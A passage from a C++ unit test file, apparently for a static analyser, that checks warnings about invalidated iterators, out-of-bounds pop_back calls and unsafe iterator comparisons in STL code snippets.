(error) Iterator 'it' used after element has been erased. [eraseDereference]\\n\", errout_str());\n\n check(\"void f()\\n\"\n \"{\\n\"\n \" std::list::iterator it = foo.begin();\\n\"\n \" while (it != i2)\\n\"\n \" {\\n\"\n \" foo.erase(it);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:5] -> [test.cpp:6:18]: (error) Iterator 'it' used after element has been erased. [eraseDereference]\\n\", errout_str());\n\n check(\"void f()\\n\"\n \"{\\n\"\n \" std::list::iterator it = foo.begin();\\n\"\n \" while (it != i2)\\n\"\n \" {\\n\"\n \" foo.erase(++it);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:5] -> [test.cpp:6:18]: (error) Iterator 'it' used after element has been erased. [eraseDereference]\\n\", errout_str());\n }\n\n void erase5() {\n check(\"void f()\\n\"\n \"{\\n\"\n \" std::list foo;\\n\"\n \" std::list::iterator it;\\n\"\n \" for (it = foo.begin(); it != foo.end(); ++it)\\n\"\n \" {\\n\"\n \" if (*it == 123)\\n\"\n \" foo.erase(it);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:5] -> [test.cpp:8:22]: (error) Iterator 'it' used after element has been erased. [eraseDereference]\\n\", errout_str());\n }\n\n void erase6() {\n check(\"void f() {\\n\"\n \" std::vector vec(3);\\n\"\n \" std::vector::iterator it;\\n\"\n \" std::vector::iterator itEnd = vec.end();\\n\"\n \" for (it = vec.begin(); it != itEnd; it = vec.begin(), itEnd = vec.end())\\n\"\n \" {\\n\"\n \" vec.erase(it);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void eraseBreak() {\n check(\"void f()\\n\"\n \"{\\n\"\n \" for (std::vector::iterator it = foo.begin(); it != foo.end(); ++it)\\n\"\n \" {\\n\"\n \" foo.erase(it);\\n\"\n \" if (x)\"\n \" break;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:5] -> [test.cpp:5:18]: (error) Iterator 'it' used after element has been erased. [eraseDereference]\\n\", errout_str());\n\n check(\"void f()\\n\"\n \"{\\n\"\n \" for (std::vector::iterator it = foo.begin(); it != foo.end(); ++it)\\n\"\n \" {\\n\"\n \" if (x) {\\n\"\n \" foo.erase(it);\\n\"\n \" break;\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int x)\\n\"\n \"{\\n\"\n \" for (std::vector::iterator it = foo.begin(); it != foo.end(); ++it)\\n\"\n \" {\\n\"\n \" foo.erase(it);\\n\"\n \" if (x)\"\n \" return;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:5] -> [test.cpp:5:18]: (error) Iterator 'it' used after element has been erased. [eraseDereference]\\n\", errout_str());\n\n }\n\n void eraseContinue() {\n check(\"void f(std::vector &ints)\\n\"\n \"{\\n\"\n \" std::vector::iterator it;\\n\"\n \" std::vector::iterator jt = ints.begin();\\n\"\n \" for (it = ints.begin(); it != ints.end(); it = jt) {\\n\"\n \" ++jt;\\n\"\n \" if (*it == 1) {\\n\"\n \" jt = ints.erase(it);\\n\"\n \" continue;\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::map my_map) {\\n\" // #7365\n \" std::map::iterator itr = my_map.begin();\\n\"\n \" switch (itr->first) {\\n\"\n \" case 0:\\n\"\n \" my_map.erase(itr);\\n\"\n \" continue;\\n\"\n \" case 1:\\n\"\n \" itr->second = 1;\\n\"\n \" break;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void eraseReturn1() {\n check(\"void f()\\n\"\n \"{\\n\"\n \" std::vector foo;\\n\"\n \" std::vector::iterator it;\\n\"\n \" for (it = foo.begin(); it != foo.end(); ++it)\\n\"\n \" {\\n\"\n \" foo.erase(it);\\n\"\n \" return;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void eraseReturn2() {\n check(\"void f()\\n\"\n \"{\\n\"\n \" std::vector foo;\\n\"\n \" std::vector::iterator it;\\n\"\n \" for (it = foo.begin(); it != foo.end(); ++it)\\n\"\n \" {\\n\"\n \" if (*it == 1) {\\n\"\n \" foo.erase(it);\\n\"\n \" return;\\n\"\n \" }\\n\"\n \" else {\\n\"\n \" foo.erase(it);\\n\"\n \" return;\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void eraseReturn3() {\n check(\"void f()\\n\"\n \"{\\n\"\n \" std::vector foo;\\n\"\n \" std::vector::iterator it;\\n\"\n \" for (it = foo.begin(); it != foo.end(); ++it)\\n\"\n \" {\\n\"\n \" if (somecondition) {\\n\"\n \" if (*it == 1)\\n\"\n \" foo.erase(it);\\n\"\n \" else\\n\"\n \" *it = 0;\\n\"\n \" return;\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f()\\n\"\n \"{\\n\"\n \" std::vector foo;\\n\"\n \" std::vector::iterator it;\\n\"\n \" for (it = foo.begin(); it != foo.end(); ++it)\\n\"\n \" {\\n\"\n \" if (a) {\\n\"\n \" if (b)\\n\"\n \" foo.erase(it);\\n\" // <- TODO: erase shound't cause inconclusive valueflow\n \" else\\n\"\n \" *it = 0;\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\n \"[test.cpp:5] -> [test.cpp:7] -> [test.cpp:8] -> [test.cpp:8] -> [test.cpp:7] -> [test.cpp:5] -> [test.cpp:9] -> [test.cpp:3] -> [test.cpp:5]: (error) Using iterator to local container 'foo' that may be invalid.\\n\",\n \"[test.cpp:5:24] -> [test.cpp:7:13] -> [test.cpp:8:17] -> [test.cpp:8:17] -> [test.cpp:7:13] -> [test.cpp:5:31] -> [test.cpp:9:21] -> [test.cpp:3:22] -> [test.cpp:5:28]: (error, inconclusive) Using iterator to local container 'foo' that may be invalid. [invalidContainer]\\n\",\n errout_str());\n }\n\n void eraseGoto() {\n check(\"void f()\\n\"\n \"{\\n\"\n \" for (std::vector::iterator it = foo.begin(); it != foo.end(); ++it)\\n\"\n \" {\\n\"\n \" foo.erase(it);\\n\"\n \" goto abc;\\n\"\n \" }\\n\"\n \"bar:\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void eraseAssign1() {\n check(\"void f()\\n\"\n \"{\\n\"\n \" for (std::vector::iterator it = foo.begin(); it != foo.end(); ++it)\\n\"\n \" {\\n\"\n \" foo.erase(it);\\n\"\n \" it = foo.begin();\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void eraseAssign2() {\n check(\"void f(std::list &ints)\\n\"\n \"{\\n\"\n \" for (std::list::iterator it = ints.begin(); it != ints.end();) {\\n\"\n \" if (*it == 123) {\\n\"\n \" std::list::iterator copy = it;\\n\"\n \" ++copy;\\n\"\n \" ints.erase(it);\\n\"\n \" it = copy;\\n\"\n \" } else {\\n\"\n \" it->second = 123;\\n\"\n \" ++it;\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void eraseAssign3() {\n check(\"void f(std::list >& l) {\\n\"\n \" std::list >::const_iterator i = l.begin();\\n\"\n \" std::list::const_iterator j = (*i).begin();\\n\"\n \" cout << *j << endl;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void eraseAssign4() {\n check(\"void f(std::list data) {\\n\"\n \" std::list::const_iterator it = data.begin();\\n\"\n \" it = data.erase(it);\\n\"\n \" it = data.erase(it);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(Data data) {\\n\"\n \" std::list::const_iterator it = data.ints.begin();\\n\"\n \" it = data.ints.erase(it);\\n\"\n \" it = data.ints.erase(it);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void eraseAssignByFunctionCall() {\n check(\"void f(std::list >& l) {\\n\"\n \" std::list::const_iterator i;\\n\"\n \" bar(i);\\n\"\n \" cout << *i;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void eraseErase() {\n check(\"void f(std::vector &ints)\\n\"\n \"{\\n\"\n \" std::vector::iterator iter;\\n\"\n \" iter = ints.begin() + 2;\\n\"\n \" ints.erase(iter);\\n\"\n \" ints.erase(iter);\\n\"\n \"}\", dinit(CheckOptions, $.inconclusive = true));\n TODO_ASSERT_EQUALS(\"[test.cpp:1] -> [test.cpp:4] -> [test.cpp:5] -> [test.cpp:1] -> [test.cpp:6]: (error) Using iterator to local container 'ints' that may be invalid.\\n\", \"[test.cpp:1:31] -> [test.cpp:4:22] -> [test.cpp:5:10] -> [test.cpp:1:27] -> [test.cpp:6:16]: (error, inconclusive) Using iterator to local container 'ints' that may be invalid. [invalidContainer]\\n\", errout_str());\n }\n\n void eraseByValue() {\n check(\"void f()\\n\"\n \"{\\n\"\n \" std::set foo;\\n\"\n \" for (std::set::iterator it = foo.begin(); it != foo.end(); ++it)\\n\"\n \" {\\n\"\n \" foo.erase(*it);\\n\"\n \" }\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"[test.cpp:6]: (error) Iterator 'it' becomes invalid when deleted by value from 'foo'\\n\", \"\", errout_str());\n\n check(\"int f(std::set foo) {\\n\"\n \" std::set::iterator it = foo.begin();\\n\"\n \" foo.erase(*it);\\n\"\n \" return *it;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:12] -> [test.cpp:3:5]: (error) Iterator 'it' used after element has been erased. [eraseDereference]\\n\", errout_str());\n\n check(\"void f(std::set foo)\\n\"\n \"{\\n\"\n \" std::set::iterator it = foo.begin();\\n\"\n \" foo.erase(*it);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #5669\n check(\"void f() {\\n\"\n \" HashSet_Ref::iterator aIt = m_ImplementationMap.find( xEle );\\n\"\n \" m_SetLoadedFactories.erase(*aIt);\\n\"\n \" m_SetLoadedFactories.erase(aIt);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(const std::list& m_ImplementationMap) {\\n\"\n \" std::list::iterator aIt = m_ImplementationMap.begin();\\n\"\n \" m_ImplementationMap.erase(*aIt);\\n\"\n \" m_ImplementationMap.erase(aIt);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:5]: (error) Invalid iterator: aIt [invalidIterator1]\\n\", errout_str());\n\n check(\"void f(const std::list& m_ImplementationMap) {\\n\"\n \" std::list::iterator aIt = m_ImplementationMap.begin();\\n\"\n \" std::list::iterator bIt = m_ImplementationMap.begin();\\n\"\n \" m_ImplementationMap.erase(*bIt);\\n\"\n \" m_ImplementationMap.erase(aIt);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void eraseIf() {\n // #4816\n check(\"void func(std::list strlist) {\\n\"\n \" for (std::list::iterator str = strlist.begin(); str != strlist.end(); str++) {\\n\"\n \" if (func2(*str)) {\\n\"\n \" strlist.erase(str);\\n\"\n \" if (strlist.empty())\\n\"\n \" return;\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:5] -> [test.cpp:4:26]: (error) Iterator 'str' used after element has been erased. [eraseDereference]\\n\", errout_str());\n }\n\n void eraseOnVector() {\n check(\"void f(std::vector& v) {\\n\"\n \" std::vector::iterator aIt = v.begin();\\n\"\n \" v.erase(something(unknown));\\n\" // All iterators become invalidated when erasing from std::vector\n \" v.erase(aIt);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:27] -> [test.cpp:2:45] -> [test.cpp:3:7] -> [test.cpp:1:26] -> [test.cpp:4:13]: (error) Using iterator to local container 'v' that may be invalid. [invalidContainer]\\n\", errout_str());\n\n check(\"void f(std::vector& v) {\\n\"\n \" std::vector::iterator aIt = v.begin();\\n\"\n \" std::vector::iterator bIt = v.begin();\\n\"\n \" v.erase(bIt);\\n\" // All iterators become invalidated when erasing from std::vector\n \" aIt = v.erase(aIt);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:27] -> [test.cpp:2:45] -> [test.cpp:4:7] -> [test.cpp:1:26] -> [test.cpp:5:19]: (error) Using iterator to local container 'v' that may be invalid. [invalidContainer]\\n\", errout_str());\n }\n\n void pushback1() {\n check(\"void f(const std::vector &foo)\\n\"\n \"{\\n\"\n \" std::vector::const_iterator it = foo.begin();\\n\"\n \" foo.push_back(123);\\n\"\n \" *it;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:35] -> [test.cpp:3:52] -> [test.cpp:4:9] -> [test.cpp:1:32] -> [test.cpp:5:6]: (error) Using iterator to local container 'foo' that may be invalid. [invalidContainer]\\n\", errout_str());\n }\n\n void pushback2() {\n check(\"void f()\\n\"\n \"{\\n\"\n \" std::vector::const_iterator it = foo.begin();\\n\"\n \" foo.push_back(123);\\n\"\n \" {\\n\"\n \" int *it = &foo[0];\\n\"\n \" *it = 456;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void pushback3() {\n check(\"void f()\\n\"\n \"{\\n\"\n \" std::vector foo;\\n\"\n \" foo.push_back(10);\\n\"\n \" std::vector::iterator it;\\n\"\n \" for (it = foo.begin(); it != foo.end(); ++it)\\n\"\n \" {\\n\"\n \" foo.push_back(123);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:24] -> [test.cpp:6:31] -> [test.cpp:8:13] -> [test.cpp:3:22] -> [test.cpp:6:28]: (error) Using iterator to local container 'foo' that may be invalid. [invalidContainer]\\n\", errout_str());\n }\n\n void pushback4() {\n check(\"void f()\\n\"\n \"{\\n\"\n \" std::vector ints;\\n\"\n \" ints.push_back(1);\\n\"\n \" int *first = &ints[0];\\n\"\n \" ints.push_back(2);\\n\"\n \" *first;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:18] -> [test.cpp:6:10] -> [test.cpp:3:22] -> [test.cpp:7:6]: (error) Using pointer to local variable 'ints' that may be invalid. [invalidContainer]\\n\", errout_str());\n }\n\n void pushback5() {\n check(\"void f()\\n\"\n \"{\\n\"\n \" std::vector::const_iterator i;\\n\"\n \"\\n\"\n \" for (i=v.begin(); i!=v.end(); ++i)\\n\"\n \" {\\n\"\n \" }\\n\"\n \"\\n\"\n \" for (i=rhs.v.begin(); i!=rhs.v.end(); ++i)\\n\"\n \" {\\n\"\n \" v.push_back(*i);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void pushback6() {\n // ticket #735\n check(\"void f()\\n\"\n \"{\\n\"\n \" std::vector v;\\n\"\n \" v.push_back(1);\\n\"\n \" v.push_back(2);\\n\"\n \" for (std::vector::iterator it = v.begin(); it != v.end(); ++it)\\n\"\n \" {\\n\"\n \" if (*it == 1)\\n\"\n \" v.push_back(10);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:49] -> [test.cpp:8:17] -> [test.cpp:8:17] -> [test.cpp:6:56] -> [test.cpp:9:15] -> [test.cpp:3:22] -> [test.cpp:6:53]: (error) Using iterator to local container 'v' that may be invalid. [invalidContainer]\\n\", errout_str());\n\n check(\"void f()\\n\"\n \"{\\n\"\n \" std::vector v;\\n\"\n \" vector.push_back(1);\\n\"\n \" vector.push_back(2);\\n\"\n \" for (std::vector::iterator it = v.begin(); it != v.end(); ++it)\\n\"\n \" {\\n\"\n \" if (*it == 1)\\n\"\n \" v.push_back(10);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:49] -> [test.cpp:8:17] -> [test.cpp:8:17] -> [test.cpp:6:56] -> [test.cpp:9:15] -> [test.cpp:3:22] -> [test.cpp:6:53]: (error) Using iterator to local container 'v' that may be invalid. [invalidContainer]\\n\", errout_str());\n }\n\n void pushback7() {\n check(\"void f()\\n\"\n \"{\\n\"\n \" std::vector foo;\\n\"\n \" foo.push_back(10);\\n\"\n \" std::vector::iterator it;\\n\"\n \" for (it = foo.begin(); it != foo.end(); it++)\\n\"\n \" {\\n\"\n \" foo.push_back(123);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:24] -> [test.cpp:6:31] -> [test.cpp:8:13] -> [test.cpp:3:22] -> [test.cpp:6:28]: (error) Using iterator to local container 'foo' that may be invalid. [invalidContainer]\\n\", errout_str());\n }\n\n void pushback8() {\n check(\"void f()\\n\"\n \"{\\n\"\n \" std::vector ints;\\n\"\n \" std::vector::const_iterator end = ints.end();\\n\"\n \" ints.push_back(10);\\n\"\n \" std::vector::iterator it;\\n\"\n \" unsigned int sum = 0;\\n\"\n \" for (it = ints.begin(); it != end; ++it)\\n\"\n \" {\\n\"\n \" sum += *it;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:10:13]: (style) Consider using std::accumulate algorithm instead of a raw loop. [useStlAlgorithm]\\n\"\n \"[test.cpp:4:52] -> [test.cpp:5:10] -> [test.cpp:3:22] -> [test.cpp:8:35]: (error) Using iterator to local container 'ints' that may be invalid. [invalidContainer]\\n\",\n errout_str());\n }\n\n void pushback9() {\n check(\"struct A {\\n\"\n \" std::vector ints;\\n\"\n \"};\\n\"\n \"\\n\"\n \"void f()\\n\"\n \"{\\n\"\n \" std::vector ints;\\n\"\n \" A a;\\n\"\n \" std::vector::const_iterator i = ints.begin();\\n\"\n \" std::vector::const_iterator e = ints.end();\\n\"\n \" while (i != e)\\n\"\n \" {\\n\"\n \" a.ints.push_back(*i);\\n\"\n \" ++i;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void pushback10() {\n check(\"void f(std::vector &foo)\\n\"\n \"{\\n\"\n \" std::vector::const_iterator it = foo.begin();\\n\"\n \" foo.reserve(100);\\n\"\n \" *it = 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:29] -> [test.cpp:3:52] -> [test.cpp:4:9] -> [test.cpp:1:26] -> [test.cpp:5:6]: (error) Using iterator to local container 'foo' that may be invalid. [invalidContainer]\\n\", errout_str());\n\n // in loop\n check(\"void f()\\n\"\n \"{\\n\"\n \" std::vector foo;\\n\"\n \" foo.push_back(10);\\n\"\n \" std::vector::iterator it;\\n\"\n \" for (it = foo.begin(); it != foo.end(); ++it)\\n\"\n \" {\\n\"\n \" foo.reserve(123);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:24] -> [test.cpp:6:31] -> [test.cpp:8:13] -> [test.cpp:3:22] -> [test.cpp:6:28]: (error) Using iterator to local container 'foo' that may be invalid. [invalidContainer]\\n\", errout_str());\n }\n\n void pushback11() {\n // #2798\n check(\"void f() {\\n\"\n \" std::vector ints;\\n\"\n \" std::vector::iterator it = ints.begin();\\n\"\n \" if (it == ints.begin()) {\\n\"\n \" ints.push_back(0);\\n\"\n \" } else {\\n\"\n \" ints.insert(it,0);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void pushback12() {\n // #4197\n check(\"void foo(double s)\\n\"\n \"{\\n\"\n \" std::vector vec;\\n\"\n \" for( std::vector::iterator it = vec.begin(); it != vec.end(); ++it )\\n\"\n \" {\\n\"\n \" vec.insert( it, s );\\n\"\n \" for(unsigned int i = 0; i < 42; i++)\\n\"\n \" {}\\n\"\n \" *it;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:4:54] -> [test.cpp:6:13] -> [test.cpp:3:25] -> [test.cpp:9:10]: (error, inconclusive) Using iterator to local container 'vec' that may be invalid. [invalidContainer]\\n\",\n errout_str());\n }\n\n void pushback13() {\n check(\"bool Preprocessor::ConcatenateIncludeName(SmallString<128> &FilenameBuffer, SourceLocation &End) {\\n\"\n \" unsigned PreAppendSize = FilenameBuffer.size();\\n\"\n \" FilenameBuffer.resize(PreAppendSize + CurTok.getLength());\\n\"\n \" const char *BufPtr = &FilenameBuffer[PreAppendSize];\\n\"\n \" return true;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void insert1() {\n check(\"void f(std::vector &ints)\\n\"\n \"{\\n\"\n \" std::vector::iterator iter = ints.begin() + 5;\\n\"\n \" ints.insert(ints.begin(), 1);\\n\"\n \" ++iter;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:30] -> [test.cpp:3:49] -> [test.cpp:4:10] -> [test.cpp:1:26] -> [test.cpp:5:7]: (error) Using iterator to local container 'ints' that may be invalid. [invalidContainer]\\n\", errout_str());\n\n check(\"void f()\\n\"\n \"{\\n\"\n \" std::vector ints;\\n\"\n \" std::vector::iterator iter = ints.begin();\\n\"\n \" ints.insert(iter, 1);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f()\\n\"\n \"{\\n\"\n \" std::vector ints;\\n\"\n \" std::vector::iterator iter = ints.begin();\\n\"\n \" ints.insert(iter, 1);\\n\"\n \" ints.insert(iter, 2);\\n\"\n \"}\", dinit(CheckOptions, $.inconclusive = true));\n TODO_ASSERT_EQUALS(\"[test.cpp:4] -> [test.cpp:5] -> [test.cpp:3] -> [test.cpp:6]: (error) Using iterator to local container 'ints' that may be invalid.\\n\", \"[test.cpp:4:49] -> [test.cpp:5:10] -> [test.cpp:3:22] -> [test.cpp:6:17]: (error, inconclusive) Using iterator to local container 'ints' that may be invalid. [invalidContainer]\\n\", errout_str());\n\n check(\"void* f(const std::vector& bars) {\\n\"\n \" std::vector::iterator i = bars.begin();\\n\"\n \" bars.insert(Bar());\\n\"\n \" void* v = &i->foo;\\n\"\n \" return v;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:37] -> [test.cpp:2:46] -> [test.cpp:3:10] -> [test.cpp:1:33] -> [test.cpp:4:16]: (error) Using iterator to local container 'bars' that may be invalid. [invalidContainer]\\n\", errout_str());\n\n check(\"Foo f(const std::vector& bars) {\\n\"\n \" std::vector::iterator i = bars.begin();\\n\"\n \" bars.insert(Bar());\\n\"\n \" return i->foo;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:35] -> [test.cpp:2:46] -> [test.cpp:3:10] -> [test.cpp:1:31] -> [test.cpp:4:12]: (error) Using iterator to local container 'bars' that may be invalid. [invalidContainer]\\n\", errout_str());\n\n check(\"void f(const std::vector& bars) {\\n\"\n \" for(std::vector::iterator i = bars.begin(); i != bars.end(); ++i) {\\n\"\n \" i = bars.insert(i, bar);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // TODO: This shouldn't be inconclusive\n check(\"void f(const std::vector& bars) {\\n\"\n \" for(std::vector::iterator i = bars.begin(); i != bars.end(); ++i) {\\n\"\n \" bars.insert(i, bar);\\n\"\n \" i = bars.insert(i, bar);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:36] -> [test.cpp:2:50] -> [test.cpp:3:14] -> [test.cpp:1:32] -> [test.cpp:4:25]: (error, inconclusive) Using iterator to local container 'bars' that may be invalid. [invalidContainer]\\n\", errout_str());\n\n // TODO: This shouldn't be inconclusive\n check(\"void* f(const std::vector& bars) {\\n\"\n \" std::vector::iterator i = bars.begin();\\n\"\n \" bars.insert(i, Bar());\\n\"\n \" i = bars.insert(i, Bar());\\n\"\n \" void* v = &i->foo;\\n\"\n \" return v;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:37] -> [test.cpp:2:46] -> [test.cpp:3:10] -> [test.cpp:1:33] -> [test.cpp:4:21]: (error, inconclusive) Using iterator to local container 'bars' that may be invalid. [invalidContainer]\\n\", errout_str());\n }\n\n void insert2() {\n // Ticket: #2169\n check(\"void f(std::vector &vec) {\\n\"\n \" for(std::vector::iterator iter = vec.begin(); iter != vec.end(); ++iter)\\n\"\n \" {\\n\"\n \" vec.insert(iter, 0);\\n\"\n \" break;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::vector &vec) {\\n\"\n \" for(std::vector::iterator iter = vec.begin(); iter != vec.end(); ++iter)\\n\"\n \" {\\n\"\n \" if (*it == 0) {\\n\"\n \" vec.insert(iter, 0);\\n\"\n \" return;\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void popback1() { // #11553\n check(\"void f() {\\n\"\n \" std::vector v;\\n\"\n \" v.pop_back();\\n\"\n \" std::list l;\\n\"\n \" l.pop_front();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:15]: (error) Out of bounds access in expression 'v.pop_back()' because 'v' is empty. [containerOutOfBounds]\\n\"\n \"[test.cpp:5:16]: (error) Out of bounds access in expression 'l.pop_front()' because 'l' is empty. [containerOutOfBounds]\\n\",\n errout_str());\n\n check(\"void f(std::vector& v) {\\n\"\n \" if (v.empty()) {}\\n\"\n \" v.pop_back();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:16] -> [test.cpp:3:15]: (warning) Either the condition 'v.empty()' is redundant or expression 'v.pop_back()' causes access out of bounds. [containerOutOfBounds]\\n\",\n errout_str());\n\n check(\"void f(std::vector& v) {\\n\"\n \" v.pop_back();\\n\"\n \" if (v.empty()) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void stlBoundaries1() {\n const std::string stlCont[] = {\n \"list\", \"set\", \"multiset\", \"map\", \"multimap\"\n };\n\n for (size_t i = 0; i < getArrayLength(stlCont); ++i) {\n check(\"void f()\\n\"\n \"{\\n\"\n \" std::\" + stlCont[i] + \"::iterator it;\\n\"\n \" for (it = ab.begin(); it < ab.end(); ++it)\\n\"\n \" ;\\n\"\n \"}\");\n\n ASSERT_EQUALS_MSG(\"[test.cpp:4:25]: (error) Dangerous comparison using operator< on iterator. [stlBoundaries]\\n\", errout_str(), stlCont[i]);\n }\n\n check(\"void f() {\\n\"\n \" std::forward_list::iterator it;\\n\"\n \" for (it = ab.begin(); ab.end() > it; ++it) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:36]: (error) Dangerous comparison using operator< on iterator. [stlBoundaries]\\n\", errout_str());\n\n // #5926 no FP Dangerous comparison using operator< on iterator on std::deque\n check(\"void f() {\\n\"\n \" std::deque::iterator it;\\n\"\n \" for (it = ab.begin(); ab.end() > it; ++it) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void stlBoundaries2() {\n check(\"void f()\\n\"\n \"{\\n\"\n \" std::vector files;\\n\"\n \" std::vector::const_iterator it;\\n\"\n \" for (it = files.begin(); it < files.end(); it++) { }\\n\"\n \" for (it = files.begin(); it < files.end(); it++) { };\\n\"\n \"}\");\n\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void stlBoundaries3() {\n check(\"void f()\\n\"\n \"{\\n\"\n \" set files;\\n\"\n \" set::const_iterator current;\\n\"\n \" for (current = files.begin(); current != files.end(); ++current)\\n\"\n \" {\\n\"\n \" assert(*current < 100)\\n\"\n \" }\\n\"\n \"}\");\n\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool f() {\\n\"\n \" static set::const_iterator current;\\n\"\n \" return 25 > current->bar;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:17]: (error) Invalid iterator 'current' used. [eraseDereference]\\n\", errout_str());\n }\n\n void stlBoundaries4() {\n\n check(\"void f() {\\n\"\n \" std::forward_list>>::iterator it;\\n\"\n \" for (it = ab.begin(); ab.end() > it; ++it) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:36]: (error) Dangerous comparison using operator< on iterator. [stlBoundaries]\\n\", errout_str());\n\n // don't crash\n check(\"void f() {\\n\"\n \" if (list < 0) ;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" if (list < 0) {\\n\"\n \" std::forward_list>>::iterator it;\\n\"\n \" for (it = ab.begin(); ab.end() > it; ++it) {}\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:40]: (error) Dangerous comparison using operator< on iterator. [stlBoundaries]\\n\", errout_str());\n }\n\n void stlBoundaries5() {\n check(\"class iterator { int foo(); };\\n\"\n \"int foo() {\\n\"\n \" iterator i;\\n\"\n \" return i.foo();;\\n\"\n \"}\", dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"class iterator {\\n\"\n \" Class operator*();\\n\"\n \" iterator& operator++();\\n\"\n \" int foo();\\n\"\n \"};\\n\"\n \"int foo() {\\n\"\n \" iterator i;\\n\"\n \" return i.foo();;\\n\"\n \"}\", dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:8:12]: (error, inconclusive) Invalid iterator 'i' used. [eraseDereference]\\n\", errout_str());\n }\n\n void stlBoundaries6() { // #7106\n check(\"void foo(std::vector& vec) {\\n\"\n \" for (Function::iterator BB : vec) {\\n\"\n \" for (int Inst : *BB)\\n\"\n \" {\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\", dinit(CheckOptions, 